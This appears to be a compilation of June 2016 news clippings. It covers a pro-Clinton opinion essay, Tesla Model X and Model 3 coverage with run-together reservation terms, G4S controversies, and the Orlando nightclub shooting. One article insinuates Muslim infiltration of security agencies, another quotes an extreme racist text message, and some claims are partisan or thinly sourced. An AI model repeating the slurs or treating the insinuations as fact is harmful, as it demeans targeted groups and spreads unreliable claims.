Now take a look at the second arrow. This is where she declared that she was going to run for the Senate. See what happened? She was at one of the most popular periods of her life, but as soon as she declared a run for the Senate her favorables plummeted while her unfavorables rose sharply. Then once she was elected, her scores stabilized and even improved. Now look at the third arrow. Nearly exactly at the same time she withdrew from the Presidential race her favorables took off again, rising to levels that many considered remarkable. (Or are we pretending not to remember that until very recently Hillary was one of the most popular politicians in the country?) In fact the image on the left of the graph is part of the ''bad-ass Hillary'' meme that started during this time. And her polling stayed high right up until she decided to run for President again. Her numbers since then are not on this particular graph, but I think we all know what happened to them.
So what do we see in this data? What I see is that the public view of Hillary Clinton does not seem to be correlated to ''scandals'' or issues of character or whether she murdered Vince Foster. No, the one thing that seems to most negatively and consistently affect public perception of Hillary is any attempt by her to seek power. Once she actually has that power her polls go up again. But whenever she asks for it her numbers drop like a manhole cover.
And in fact I started thinking more about this after reading an article that Sady Doyle wrote for Quartz back in February. The title of the piece was, ''America loves women like Hillary Clinton - as long as they're not asking for a promotion.'' In the article Ms. Doyle asserted that, ''The wild difference between the way we talk about Clinton when she campaigns and the way we talk about her when she's in office can't be explained as ordinary political mud-slinging. Rather, the predictable swings of public opinion reveal Americans' continued prejudice against women caught in the act of asking for power'...''
And yes this is the kind of statement that many people will find reflexively annoying. But that doesn't make it any less true, and the data certainly seems to support it. Even NBC news, looking back over decades of their own polls, stated that, ''she's struggled to stay popular when she's on the campaign trail.'' If this has nothing to do with gender, then wouldn't the same thing happen to men when they campaign? But it doesn't. Why not?
So let's look at the issues people are currently using to disparage Clinton. Let's consider the issues of dishonesty, scandals, money and Wall Street.
1) Honesty '-- In terms of honesty, I've already addressed that. Hillary is a politician, and like all politicians she is no stranger to ''massaging'' and/or exaggerating the truth. And yes on occasion she will let loose a whopper. But is she worse than other politicians? As I've already discussed, the evidence suggests that she is no worse, and actually better, than most other politicians. Internet videos like the ''13 minutes of Hillary lying'' appear to be mostly examples of Hillary changing her position over several decades, combined with annoying but typical political behavior. But similar videos of Donald Trump exist showing him doing an even more extreme version of the same thing. Why is he not being accused of this type of mendacity? In fact there is very little dispute that Trump has been SIGNIFICANTLY less honest on the campaign trail than Hillary. According to Politifact he is in fact the least honest candidate they've ever analyzed! So if the issue of honesty is really that important, why are so many people (on the right and left) holding Hillary to such an obviously different standard than Trump?
2) Scandals '-- Webster's dictionary defines a scandal as, ''an occurrence in which people are shocked and upset because of behavior that is morally or legally wrong.'' But here's a question: Are scandals still scandals if nobody actually did anything wrong? And I think that's a fair question, because Hillary's political foes love to point out all the times she has been implicated (directly or indirectly) in scandals. Not surprisingly, however, they fail to point out that she has always been cleared of any wrongdoing.
So if she's always innocent, why then does she find herself caught up in so many scandals? For that answer, perhaps we should look at the Wikipedia definition of scandal, which states, ''A scandal can be broadly defined as an accusation or accusations that receive wide exposure. Generally there is a negative effect on the credibility of the person or organization involved.'' Notice the important difference? Perhaps the ''negative effect on credibility'' is not so much the RESULT of these scandals as it is the INTENT of those who create them.
Did you know that Republicans once spent 10 days and 140 hours investigating the Clinton's use of the White House Christmas Card list? Because that is a real thing that actually happened. As the Atlantic recently pointed out, ''No other American politicians'--even ones as corrupt as Richard Nixon, or as hated by partisans as George W. Bush'--have fostered the creation of a permanent multimillion-dollar cottage industry devoted to attacking them.'' (And for an impressive presentation of this issue I highly recommend Hanna Rosin's piece ''Among the Hillary Haters'', also in the Atlantic.)
Compare for example the treatment Hillary is getting due to her private email ''scandal'' to that of General David Petraeus. Hillary has been accused of hosting a personal email server that ''might'' have made classified documents less secure, even though the documents in question were not classified as secret at the time she received and/or sent them. (Side note: some government documents receive secret classifications ''at birth'', while other can be retroactively classified as secret.) In order for Clinton to have committed a criminal act, she would have had to knowingly and willfully mishandle material that was classified at the time she did so. After months of investigation no one has accused her of doing that, and it doesn't appear as if anyone will.
General Petraeus on the other hand, while he was Director of the CIA, knowingly gave a journalist, who was also his mistress, a series of black books which according to the Justice Department contained, ''classified information regarding the identities of covert officers, war strategy, intelligence capabilities and mechanisms, diplomatic discussions quotes and deliberative discussions from high level National Security Council meetings and [Petraeus'] discussions with the president of the United States of America.'' Petraeus followed that up by lying to numerous government officials, including FBI agents, about what he had done. And lets not forget that according to the Uniform Code of Military Justice, adultery is itself a court-martial offense. And I remind you that none of this is in dispute. Petraeus admitted to all of it.
Petraeus' violations were significantly more egregious than anything Clinton is even remotely accused of. And yet Republicans and other Hillary foes are howling about her issue, wearing ''Hillary for Prison 2016'' t-shirts while insisting that this disqualifies her from public office. Meanwhile even after pleading guilty to his crimes Petraeus continued to be the recipient of fawning sentiments from conservatives. Senator John McCain stated that, ''All of us in life make mistakes and the situation now, I hope, can be put behind him'...'' Politico quoted a former military officer who worked with Petraeus as calling the entire situation ''silly''. Prominent Republicans have already made it clear that they would call him back to work in the highest levels of government if they win the Presidency. And some are still attempting to convince him to seek the Presidency himself.
Why is Hillary Clinton being held to such an obviously different standard than Petraeus? Is it really only politics?
3) Money '-- OK let's talk about her money. Hillary has a lot of it. And she has earned most of it through well-paid speaking fees. And the idea of getting paid $200,000 or more for a single speech seems so ludicrous to many people that they assume that it simply must be some form of bribery. But the truth is that there is a large, well-established and extremely lucrative industry for speaking and appearance fees. And within that industry many celebrities, sports stars, business leaders and former politicians get paid very well. At her most popular for example, Paris Hilton was being paid as much as $750,000 just to make an appearance. Kylie Jenner was once paid over $100,000 to go to her own birthday party, and to this day Vanilla Ice gets $15,000 simply to show up with his hat turned sideways.
And let's talk about the more cerebral cousin of the appearance agreement, which is the speaking engagement. Is $200k really that unusual? In fact ''All American Speakers'', the agency that represents Clinton, currently represents 135 people whose MINIMUM speaking fee is $200,000. Some of the luminaries that get paid this much include: Guy Fieri, Ang Lee, Carla Delevingne, Chelsea Handler, Elon Musk, Mehmet Oz, Michael Phelps, Nate Berkus, and ''Larry the Cable Guy''. And no that last one is not a joke. And if you drop the speaking fee to $100k, the number of people they represent jumps to over 500. At $50,000 the number jumps to over 1,200. And All American Speakers are obviously not the only agency that represents speakers. So there are in fact thousands of people getting paid this kind of money to give a speech.
For millions of Americans struggling to pay their bills, the very idea that someone can make $100,000 or more for just giving a speech or hanging out at a Vegas nightclub is obscene. But as Richard Nixon used to say, ''don't hate the player, hate the game.'' Hillary didn't invent the speaking engagement industry, and she isn't anywhere near the first person to make a lot of money from it. And while her fees are in the upper range of what speakers make, neither they nor the total amount of money she has made are unusual. It's just unusual FOR A WOMAN.
And yes, I'm back on that, because I feel compelled to point out that before he ran for President in 2007, Rudy Giuliani was making about $700,000 a month in speaking fees with an average of $270k per speech. It's estimated that in the 5 years before his run he earned as much as $40 million in speaking fees. Nobody cared, no accusations of impropriety were made, and there was almost no media interest. So why did Giuliani get a pass, while Hillary stands accused of inherent corruption for making less money doing the same thing?
And speaking of corruption, after leaving the Florida governor's office Jeb Bush made millions of dollars in paid speeches. This includes large sums he collected from a South Korean metals company that reaped over a BILLION dollars in contracts from his brother's presidential administration. Speaking to an Indian newspaper about this type of thing Bush said, ''This is the life of being the brother of the president.'' Do you remember reading all about that while Jeb was running for President? I didn't think so. Jeb got a pass too.
So if this discussion is really about money in politics that's fine. But I'm going to need someone to explain to me why we only seem to focus on it when the person making the money has a vagina.
4) Wall Street '-- First things first. No, the majority of the money Clinton has made from speaking fees did not come from Wall Street. In fact it's not even close. She has given nearly 100 paid speeches since leaving the State Dept., and only 8 were to ''Wall Street'' banks. Nearly all of her speeches were to organizations like American Camping Association, Ebay, Cisco, Xerox, Cardiovascular Research Foundation, United Fresh Produce Association, International Deli-Dairy-Bakery Association, California Medial Association, A&E Television Networks, Massachusetts Conference for Women, U.S. Green Building Council, National Association of Realtors, American Society of Travel Agents, Gap, National Association of Convenience Stores, the National Association of Chain Drug Stores, Institute of Scrap Recycling Industries, etc.
Corporations and Associations pay large fees for important speakers all of the time. And Hillary got booked fairly often because she is interesting and popular, and because there's a great deal of status attached to having her speak at an event. Ignoring all of this however, a large contingent of anti-Hillary people continue to insist that all speaker's fees from Wall Street banks were bribes, and that because of this they ''own'' her. But by that logic shouldn't we all be asking what the fuck the American Camping Association is up to?
Also, with the possible exception of one speech given to Deutsche Bank, all of Hillary's 8 speeches to Wall Street were for a speaking fee of $225,000. That does not even break the top 20 of her highest paid speeches. For example she received over $275,000 each in three speeches she gave to The Vancouver Board of Trade, the Board of Trade of Metropolitan Montreal, and Canada 2020. So apparently Canadians also ''own'' her. And I don't know what those nefarious Canadians are up to, but it probably has something to do with goddamn poutine. Which would really piss me off except I just remembered that I kind of like poutine so never mind.
Listen, does Wall Street have influence with Hillary? Grow up, of course they do. Wall Street is one of the key engines of the American economy, and as such has enormous influence with everyone. EVERYONE. Don't kid yourself on that point. And aside from anything else, she was a 2-term Senator of New York, and this made Wall Street an important corporate member of her constituency. The issue is not influence. The issue is whether or not paid speeches and campaign donations alone are proof of corruption. And they're not. And the last time I checked there was an important difference between association and guilt, between proof and slander.
And again: why is Hillary being held to a standard that never appears to be applied to her male counterparts? Am I not supposed to notice that a media frenzy has been aimed at Hillary Clinton for accepting speaking fees of $225,000 while Donald Trump has been paid $1.5 MILLION on numerous occasions with hardly a word said about it? Am I supposed to not notice that we are now in an election season in which Donald Trump, a proud scam artist whose involvement in ''Trump University'' alone is being defined by the New York Attorney General as ''straight-up fraud'', is regularly calling Hillary Clinton ''Crooked Hillary'' and getting away with it?
What the actual fuck is going on here? What's going on is what we all know, but mostly don't want to admit: presidential campaigns favor men, and the men who campaign in them are rewarded for those traits perceived as being ''manly'' - physical size, charisma, forceful personality, assertiveness, boldness and volume. Women who evince those same traits however are usually punished rather than rewarded, and a lot of the negativity aimed at Hillary over the years, especially when she is seeking office, has been due to these underlying biases. There is simply no question that Hillary has for years been on the business end of an unrelenting double standard. And her battle with societal sexism isn't going to stop because of her success anymore than Obama's battle with racism stopped once he was elected. These are generational issues, and we are who we are.
And actually, this only makes her victory all the more amazing. And maybe it's OK if we pause for a moment from the accusations and paranoia and just acknowledge her enormous accomplishments. In the entire history of our nation, only 6 Presidents have also served as Secretary of State. Only 3 have served both as Secretary of State and in Congress. By any objective measure Hillary Clinton is not just the most qualified candidate this season, she's one of the most qualified people to ever seek the office. The New York Times in endorsing her stated that, ''voters have the chance to choose one of the most broadly and deeply qualified presidential candidates in history.'' Jonathan Bernstein at Bloomberg stated that, ''she is probably the best qualified presidential candidate ever.'' Even Marco Rubio, one-time choice of the GOP establishment (and tea-party love-child) stated in a Republican debate that, ''If this is a resume contest, Hillary Clinton is going to be the new President of the United States.''
Hillary is nobody's idea of perfect. Fine. But in my view if a man with her qualifications were running in the Democratic primary, Bernie would have been done before he even started. And if a man with her qualifications had been running for the Republicans, they'd be anointing him the next Reagan while trying to sneak his face onto Mount Rushmore.
Most of the people who hate Hillary when she's running for office end up liking her just fine once she's won. And I have every confidence that history will repeat itself again this November. As for myself, I have been watching Presidential elections since Nixon. And never in my life has there been an easier or more obvious choice than now. Trump is not merely a bad choice, he is (as many leading Republicans have already admitted) a catastrophic choice, unfit in every possible way for the office of the Presidency.As such, I happily voted for Hillary in my primary. And I will proudly vote for her in November. Yes she will disappoint us all on occasion. Who doesn't? But I think she's also going to surprise a lot of people. She will fear neither consensus when possible nor ass-kicking when necessary. She will safeguard us from the damage a right-wing Supreme Court would inflict on the nation. She will stand for the rights of women, LGBT Americans, and minorities. She will maintain critical global relationships, and she will react to dangerous situations with the temperament of a seasoned and experienced professional. And in a nation that didn't even allow women to vote until 1920, she will make history by shattering the very highest glass ceiling, and in doing so forever change the way a generation of young women view their place in our Republic.
She's going to be a fine President.
I'm with her.
Early Adopters' Curse: Tesla Motors Shares Fall After Model X Customers Cite Quality Issues With Recently Introduced SUV
Mon, 13 Jun 2016 05:04
Tesla Motors shares fell Tuesday after Consumer Reports magazine cited issues with the company's Model X utility vehicle, which began deliveries to early buyers in September. Underscoring the problems that can arise for early adopters of new products, the magazine pointed to the vehicle's biggest engineering challenge: its articulated ''falcon wing'' doors.
Shares in the Palo Alto, California, electric car company (NASDAQ:TSLA) plunged nearly 5 percent in intra-day trading as investors sold on the report, but the price recovered to end the day about 2.6 percent lower, at $247.37. The stock extended losses into after-hours trading.
''Consumer Reports recommends against buying a vehicle in its first year of production '-- especially a ground-up vehicle with the incredible complexity of a Tesla,'' the widely read product reviewer said Tuesday.
The most notable problem has been the rear passenger door, which has posed considerable challenges and led to a lawsuit in January against a German supplier for allegedly misrepresenting its engineering claims.
Tesla's Model X is suffering from quality issue related to its ''falcon wing'' doors and large, curved windshield, Consumer Reports says. Pictured: Passengers get inside a Model X during a Tesla event in Palo Alto, California, Oct. 14, 2015.Photo: Beck Diefenbach/Reuters
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Consumer Reports cites two significant problems with ''early build'' Model X vehicles: ''falcon wing'' doors that either failed to close or bumped into obstacles they should have detected, causing slight damage, and visual distortion at night from the long, curved windshield that causes the driver to experience ''double vision'' of headlights, taillights and street lamps.
A Tesla owner also reported that the AutoPilot hands-free driving feature became ''confused'' when a road's shoulder ended, requiring the driver to take command. (Semi-autonomous driving features relies partly on clear road line markings to maintain lane discipline.)
Tesla CEO Elon Musk had said in the past that the ''falcon wing'' door design was a primary cause of previous delays to the introduction of the vehicle, originally scheduled for early 2014. The company began delivering the car to customers in September 2015.
Tesla issued a statement saying the defects in ''early Model X builds'' are not ''widespread.''
Consumer Reports has given the Tesla Model S luxury electric sedan high praise for performance and innovation, but lower-than-average marks for reliability. In 2014, reviewers cited problems with the Model S, but nearly all of them said the company was responsive to quickly fixing the problems.
Earlier this month Tesla unveiled a working prototype of the Model 3 electric compact sedan with a starting price of $35,000 before add-ons. The company has received about 400,000 pre-orders for the car, which won't begin deliveries until the end of 2017.
Ryan Brinkman, a J.P. Morgan automotive equities analyst, said Tesla could face considerable challenges to delivering all 400,000 of these vehicles by the end of 2019, much less build and sell that many in a single year. By 2020, Tesla says it's aiming to sell 500,000 cars annually, mostly from Model 3 orders.
''I'm not sure you can take that 400,000 number and say they can do that in 2020,'' he said Tuesday during a conference call. ''I still think there are a lot of reasons to be skeptical about Tesla.''
Tesla has sold about 126,000 cars since it was founded in 2003, including a small number of the discontinued Roadster built from 2008 to 2012.
Tesla CEO Clarifies Model 3 Features, Reservation Tally Via Twitter '' News '' Car and Driver | Car and Driver Blog
Mon, 13 Jun 2016 04:55
At the splashy reveal event for the Model 3 EV, Tesla Motors unveiled the car but little other information about it. Having outlined the basics'--that the car will start at $35,000, seat five, and offer two- or all-wheel drive'--details about the car's battery pack, power system, and more were held back for release at a later date. As it turns out, that later date was this past Sunday afternoon, two days after the official Model 3 reveal, when Tesla CEO Elon Musk took a few moments to respond to the public's questions on Twitter.
In multiple tweets, Musk clarified both the Model 3's standard and optional drive systems, as well as how many pre-orders the company already has for the car. Speaking to the Model 3's standard drive configuration, Musk said it will use a single electric motor (as does the Model S sedan) powering the rear wheels; the optional setup will also mimic that on the Model S, which is to say it'll use an extra electric motor to also power the front wheels. Horsepower and torque figures, alas, remain elusive, and Musk made several bizarre statements regarding the Model 3's steering system, describing the production unit as ''feeling like a spaceship.'' The outlook is rosier (and more down to earth) on the order bank side of things, where Elon claims Tesla has received more than 276,000 pre-orders for the Model 3 globally.
Naturally, online (where not everyone with an opinion has studied Business Accounting 101, or even basic arithmetic) there has been some confusion as to the monetary value of those orders. Allow us to clear that up. Each pre-order customer puts down a $1000, refundable deposit to reserve a Model 3. Simple math returns an immediate yield for Tesla of $276 million, not the billions of dollars that some'--including Mr. Musk, again via Twitter'--have touted. Any figure using the ''b'' word counts the value of those orders as final sales. (Multiplying the Model 3's $35K base price by the current number of reservations nets Tesla a still-theoretical $9.6 billion, although Musk tweeted $7.5 billion, assuming a $42K average transaction price and an earlier, smaller, figure for the total number of reservations.) Some have breathlessly described such billions as a windfall for Tesla before it has delivered a single Model 3. However, neither we nor Tesla see its deposit money that way. The automaker is adamant that the $1000 deposits aren't counted as revenue until after a customer actually takes delivery of a car (the deposit represents an initial payment against the eventual purchase price of a Model 3). And deliveries happen only after customers receive purchase agreements and configure their cars, steps that eager Model 3 reservationists are still waiting to take. Tesla, for its part, has promised that the first Model 3s will be delivered late next year.
So what does $276 million in deposits mean to Tesla's balance sheet? Until the day that it eventually starts being converted to revenue, i.e. when sales commence'--if those sales commence'--it's both a cash asset and an offsetting liability. According to Tesla's past SEC filings'--and as confirmed by a company representative'--deposit money is not counted as revenue, but is lumped into the company's cash holdings. The caveat is that deposits (in total) are specified in a separate line under ''liabilities'' on the company balance sheet. Ergo, customer deposits can and likely will be used for, say, helping launch the Model 3 or for general operating expenses (just as deposits for the Model S and Model X were), while the sum of deposits on undelivered cars remains listed as debt on the balance sheet'--it's not Tesla's revenue until it receives it in exchange for an actual car.
But wait, what if all of those consumers asked for their money back or Tesla, for some reason, couldn't fulfill its obligation to deliver cars? That would be an issue, but likely not a debilitating one. Unlike many other start-up car companies we've seen over the years, Tesla is not so under-capitalized that these deposits represent a majority of its assets. As of December 31, 2015, Tesla had $1.2 billion in ''cash and cash equivalents.'' Furthermore, Tesla's been down this road before, only with less fanfare. Tesla's annual SEC filing, as of December 31, 2015 showed it already held $283 million in customer deposits, most of which ostensibly were for the still-fresh Model X crossover. Of course, there were fewer reservations for the Model X than for the 3'--hence it avoided the sort of frenzy and speculative discussion that has surrounded the Model 3 order process'--but the deposit total for that car was greater because would-be customers needed to shell out $5000 to get in that line. So long story short, even though Model 3 deposits are assumed to have inflated Tesla's cash and liability figures an equal amount, even before the 3's order books opened the company had more than enough cash on hand (plus other assets) to draw from should it need to meet refund obligations.
Tesla deposit terms
Mon, 13 Jun 2016 04:46
TESLA MOTORS, INC. 1949 Tigertail Boulevard, Dania Beach, FL 33004 p 1.888.518.3752 Model3RA''v.20160325Model3ReservationTerms&Conditions1.Model3ReservationThankyouforplacingaReservationforModel3.BymakingyourReservation,youhavesecuredtheapproximateprioritywithinyourregionfortakingdeliveryofyourModel3.(Additionaldetailsaboutprioritycanbefoundonourwebsiteathttps://www.teslamotors.com/blog/reserving-model-3.)2.EffectiveDateYourReservationbecomeseffectivewhen(1)youplaceyourReservationand(2)wereceive yourReservationPayment.3.OrderProcessWhilethisReservationsecuresthe approximate delivery priority within your region, it does not constitute thepurchase or order of a vehicle. When the start of production for yourReservation nears, we will ask you toconfigureyourModel3.TeslawillcreateanorderforyourvehicleandyouwillreceiveaPurchaseAgreementindicatingthepurchasepriceofthevehicle,plusestimatesofanyapplicabletaxes,duties,transportanddeliverycharges,andanyotherapplicablefees.Ifyouproceedwiththeorder,wewillapplyyourReservationPaymenttowardstheorderpayment.UntilyouenterintoaPurchaseAgreement,yourReservationmaybecancelledatanytime,inwhichcaseyouwillreceiveafullrefundofyourReservationPayment.4.Acknowledgements;Non-TransferableYouunderstandthatwewillnotholdyourReservationPaymentseparatelyorinanescrowortrustfundorpayanyinterestonyourReservationPayment.YourReservationisnottransferableorassignabletoanotherpartywithoutthepriorwrittenapprovalofTesla.5.YourDetailsFromtimetotimewewillaskyoutoprovideinformationsothatwecanperformourobligationsunderthesetermsandconditions.WewillmaintainyourpersonalinformationinaccordancewithourPrivacyPolicy,whichisavailableathttps://www.teslamotors.com/about/legal.***
Legal Dictionary | Law.com
Mon, 13 Jun 2016 04:45
conversionn. a civil wrong (tort) in which one converts another's property to his/her own use, which is a fancy way of saying "steals." Conversion includes treating another's goods as one's own, holding onto such property which accidentally comes into the convertor's (taker's) hands, or purposely giving the impression the assets belong to him/her. This gives the true owner the right to sue for his/her own property or the value and loss of use of it, as well as going to law enforcement authorities since conversion usually includes the crime of theft.
Has ISIS Infiltrated Homeland Security? Orlando Terrorist Worked for Major DHS Contractor - Counter Jihad
Mon, 13 Jun 2016 04:41
Has ISIS Infiltrated Homeland Security? Orlando Terrorist Worked for Major DHS Contractor - Counter Jihad
Orlando nightclub terrorist worked for major DHS contractor that secures ''90 percent of U.S. nuclear facilities.''
The Orlando nightclub terrorist who pledged allegiance to ISIS worked almost a decade for a major Department of Homeland Security contractor, raising alarms that ISIS sympathizers and agents have infiltrated the federal agency set up after 9/11 to combat terrorists.
Officials say Omar Mir Seddique Mateen, an Afghan-American who held two firearms licenses and a security officer license, was employed by the security firm G4S Secure Solutions USA Inc. since Sept. 10, 2007. The Jupiter, Fla.-based company merged with the Wackenhut Corp. after 9/11 and assumed federal contracts.
''G4S supports the U.S. Department of Homeland Security, Customs and Border Protection (CPB), with its operations at the U.S. ­ Mexico border and with U.S. Immigration and Customs Enforcement (ICE) to transport illegal immigrants in selected urban areas,'' the company says in a brochure, titled ''Providing Manpower Solutions for Government Services.''
The DHS contract with G4S is worth more than $234 million. The contract states that one of the ''performance requirements'' is helping identify ''suspected terrorists'' trying to enter the U.S.The security contractor also provides security guards and other security services for ''90 percent of U.S. nuclear facilities.''
G4S uses fortified buses to transport ''hundreds of thousands of illegal immigrants'' from city to city and from cities to the U.S.-Mexican border. But earlier this month, Judicial Watch revealed G4S has been quietly moving and releasing van loads of illegal aliens away from the border to interior American cities.
The immigrants were classified as OTMs '-- Other Than Mexican '-- and included mostly Central American illegals but possibly also foreign border-crossers from the Middle East and Pakistan.
''A security company contracted by the U.S. government is driving the OTMs from the Border Patrol's Tucson sector, where they were in custody, to Phoenix,'' the Washington-based government watchdog group said. ''The firm is called G4S and claims to be the world's leading security solutions group with operations in more than 100 countries and 610,000 employees.''
It's not clear if the 29-year-old Mateen worked on any federal contracts or dealt with federal inmates. One of his jobs was to help transport and guard state and local prisoner youths in Florida. The subsidiary he worked for '-- G4S Secure Solutions USA Inc. '-- is based in Jupiter, Fla., which is located just south of Mateen's home in Fort Pierce, Fla.
It's also not immediately known if he had federal security clearances, or what kind of security background check G4S administered before hiring Mateen.
But he continued to guard prisoners despite reports he openly praised ISIS in conversations with co-workers, and even though he had been under federal investigation for terrorism ties since at least 2013.
In a 2012 company newsletter, G4S congratulated Mateen for five years of service.
Attempts to reach G4S representatives Sunday were unsuccessful. But the same company brochure says security officers ''are subjected to a stringent background investigation'' that includes psychological, background and criminal screening.'' Testing for jihadist sympathies is not listed.
''From our superior recruiting, training and education to our background checks and screening, our manned security will exceed your expectations,'' the contractor assures federal clients.
G4S, which was the first contract security company to received designation and certification by DHS, also helps the federal government with emergency security responses to ''terror threats.''
Employing more than 50,000 Americans, G4S provides security support for several other federal agencies, as well, including the departments of State, Interior, Labor, Justice and Energy, and the IRS and Drug Enforcement Administration. The security firm also partners with the U.S. Army, U.S. Air Force and NASA.
Through the U.S. General Services Administration, the company supplies guards, detention officers, court security officers, baggage handlers, security clerks, and prisoner bus and van drivers in contracts worth hundreds of millions of dollars.
It's not the first time a federal contractor has employed a major Islamic terrorist.
In 2008, Charlotte, N.C.-based Convergys Corp. came under fire for employing a Muslim computer operator who openly maintained a jihadist website featuring grisly images of American soldiers blown up by al-Qaida terrorists overseas which he said ''bring great happiness to me.'' Convergys at the time had landed a $2.5 billion federal contract to set up emergency communications centers in the event to terrorist attacks and other disasters.
The employee, 22-year-old Sami Khan, turned out to be an al-Qaida operative. He was killed in 2011 in a U.S. drone strike in Yemen.
Paul Sperry is a Hoover Institution media fellow and author of INFILTRATION: How Muslim Spies and Subversives Have Penetrated Washington.
G4S guard bludgeoned woman to death - Counterfire
Mon, 13 Jun 2016 04:35
Khanokporn Satjawat, a 42 year-old pharmaceutical worker from Thailand was murdered by G4S guard Clive Carter
Last November a 42 year-old pharmaceutical worker from Thailand took part in a conference about HIV treatment at Glasgow's Clyde Auditorium. Her name was Khanokporn Satjawat. A G4S guard checked Satjawat's ID. He didn't like her manner. Later he followed her into the toilets and bludgeoned her to death with a fire extinguisher.
Yesterday, at the High Court in Glasgow, Clive Carter was found guilty of Khanokporn Satjawat's murder. The court heard that the 35 year-old G4S man tended to become enraged when women contradicted him. In a police interview his wife described him as "violent and manipulative". His GP had referred him for anger management counselling.
A few days before the killing, Carter had knocked on a woman's door at the Holiday Inn Express hotel, carrying a fire extinguisher and claiming there had been a report of a fire.
G4S works on police investigations, runs prisons, children's homes and detention centres, among other privatised public services. They're having a very bad month. Their UK flagship Oakwood Prison is in crisis. In South Africa, the state has taken back control of G4S Mangaung Prison; guards are accused of torturing inmates.
Yesterday's murder conviction raises fresh doubts about G4S's fitness for public service.
"A robust employee screening programme helps organisations minimise the risk of making inappropriate recruitment decisions," G4S tells potential customers.
"We have a wealth of experience in developing and implementing background checks and security clearance for companies in the private and public sector."
But is G4S any good at it? What evidence is there of G4S's commitment to the safety of people who fall under the company's care?
Earlier this year OurKingdom revealed that the health and safety manager for G4S Children's Services was involved nine years ago in the death of child prisoner Gareth Myatt. We noted that the Coroner criticised G4S for ignoring repeated warnings about the use of force and other problems at Rainsbrook Secure Training Centre near Rugby. (PDF here)
Another G4S employee approved by the company's screening process was Danny Fitzsimons, a former paratrooper passed fit for work in Iraq.
Ahead of Fitzsimons's deployment in 2009, a fellow worker sent a series of emails warning G4S about the man's instability.
"I am alarmed that he will shortly be allowed to handle a weapon and be exposed to members of the public,"
wrote the whistleblower, who signed one email "a concerned member of the public and father".
Another email warned:
"Having made you aware of the issues regarding the violent criminal Danny Fitzsimons, it has been noted that you have not taken my advice and still choose to employ him in a position of trust. I have told you that he remains a threat and you have done nothing."
Within 36 hours of arriving in Baghdad's Green Zone in August 2009, Fitzsimons had shot and killed fellow security contractors Paul McGuigan and Darren Hoare.
In 2011 the Karkh Criminal Court of Iraq sentenced him to life in prison for the murders.
His parents said he was suffering from PTSD and should never have been employed in a war zone.
Clive Stafford Smith, director of the charity Reprieve, said:
''If G4S had done the proper checks and risk assessments when Danny applied to work with them, they would have quickly seen that he was suffering from serious PTSD, a consequence of loyally serving his country. Instead they conducted minimal checks and sent him off to Iraq. Now Danny could spend the rest of his life in a hostile prison hundreds of miles from home, when he should be receiving psychiatric treatment.''
Last year a BBC Scotland investigation unearthed the whistleblower's repeated attempts to alert G4S to Fitzsimons's instability. Why did the company fail to act?
G4S issued a statement, admitting that its screening of Danny Fitzsimons "was not completed in line with the company's procedures".
The statement included a curiously worded assertion about the whistleblower's warnings:
"We are aware of this allegation but following an internal IT investigation it is clear that no such emails were received by any member of our HR department."
Note that G4S is not denying that the company received the warnings, only denying that the human resources department received them. Such assertions are known among reporters as "non-denial denials".
BBC Scotland put a further question to G4S: "When did the company first become aware of the emails and did anyone else - outside of the company's HR department - become aware of them?"
A G4S spokesman replied: "I'm sorry I can't track down the relevant individual so I am afraid we can not comment further on when we received the emails."
G4S's competence and culture were found wanting yet again earlier this year during the Inquest into the death of Angolan asylum seeker Jimmy Mubenga. The Inquest jury found that Mubenga had been unlawfully killed by G4S guards during an attempted deportation in October 2010.
Police checks on guards' mobile phones after the killing revealed numerous racist texts of extreme offensiveness. Assistant deputy coroner Karon Monaghan QC said that the quality and number of racist texts, and the fact that they were circulated widely among G4S guards, suggested not a couple of "rotten apples" but evidence of "a more pervasive racism within G4S". [PDF here]
The Coroner wrote: "For example, one message read as follows:
'fuck off and go home you free-loading, benefit grabbing, kid producing, violent, non-English speaking cock suckers and take those hairy faced, sandal wearing, bomb making, goat fucking, smelly rag head bastards with you.'''
G4S, among other Home Office contractors, had for years been warned about the dangers of excessive force and guards' racist abuse, most resoundingly in the dossier Outsourcing Abuse, published by Medical Justice in July 2008, more than two years before the killing of Jimmy Mubenga.
Today, in response to questions relating to Clive Carter, the guard convicted of murdering Khanokporn Satjawat, G4S told OurKingdom:
"Clive Carter passed screening in May 2010, following receipt of two employment references and two character references. He had a Security Industry Authority licence and therefore went through Home Office screening including a criminal record check."
They went on:
"His instability only became apparent after the murder . . . The incident at the Holiday Inn was not reported to G4S and only came to our attention during the trial. Had we received any complaint concerning him at that time, we would have immediately launched an investigation and if necessary suspended him from duty whilst that investigation was underway."
Clare Sambrook, novelist, journalist, won both the Paul Foot Award and the Bevins Prize for outstanding investigative journalism in 2010. Clare is a Co-Editor of OurKingdom and co-founder of End Child Detention Now. Her expos(C) of corruption in the Olympics, The Great Olympic Swindle (co-author Andrew Jennings), was shortlisted for the William Hill Sports Book of the Year in 2000.
From Our Kingdom
Bernie Sanders Blames 'Automatic Weapons' For Orlando Islamic Terror Attack. Calls For Gun Control | RedFlag News
Mon, 13 Jun 2016 00:34
Eric Bradner | CNNVermont Sen. Bernie Sanders called it "horrific" and "unthinkable" and said it underscores the need for gun control measures.
"Oh, it's horrific, it's unthinkable. And just hopes go out to all those who were shot that they can recover," the Democratic presidential contender said Sunday on NBC's "Meet the Press."
"And I've got to tell you, 25 years ago, I believe that in this country, we should not be selling automatic weapons which are designed to kill people," Sanders said. "We have got to do everything that we can on top of that to make sure that guns do not fall into the hands of people who should not have them, criminals, people who are mentally ill. So that struggles continues."
ISIS Announced Florida Threat THREE Days Ago: "We Will Attack Florida"
Sun, 12 Jun 2016 23:55
On Saturday night an Islamist extremist murdered 50 people at a ''Pulse'' gay nightclub in Orlando, Florida.
Orlando Police Chief: Multiple people dead inside Pulse nightclub following shooting; at least 42 taken to hospitals https://t.co/lepEA9SvNJ
'-- ABC News (@ABC) June 12, 2016
ISIS made a major declaration three days ago that it was targeting Florida.
Three days ago '' Major Muslim ISIS Terrorists Makes Declaration To target Florida '... https://t.co/7ARVKWqxbe via @walidshoebat
'-- TheLastRefuge (@TheLastRefuge2) June 12, 2016
Shoebat.com reported on the threat three days ago.ISIS Muslim terrorists released a statement on their plan to attack Florida, and even put out a list with the names of people in Florida that they plan on killing. According to one report:
A pro-Isis group has released a hit list with the names of more than 8,000 peoplemostly Americans.
More than 600-people live in Florida, and one security expert believes that many of those targeted live in Palm Beach County and on the Treasure Coast.
The ''United Cyber Caliphate'' that hacked U.S. Central Command, 54,000 Twitter accounts and threatened President Barack Obama is the same pro-Isis group that's reportedly created a ''kill list'' with the names, addresses and emails of thousands of civilian Americans.
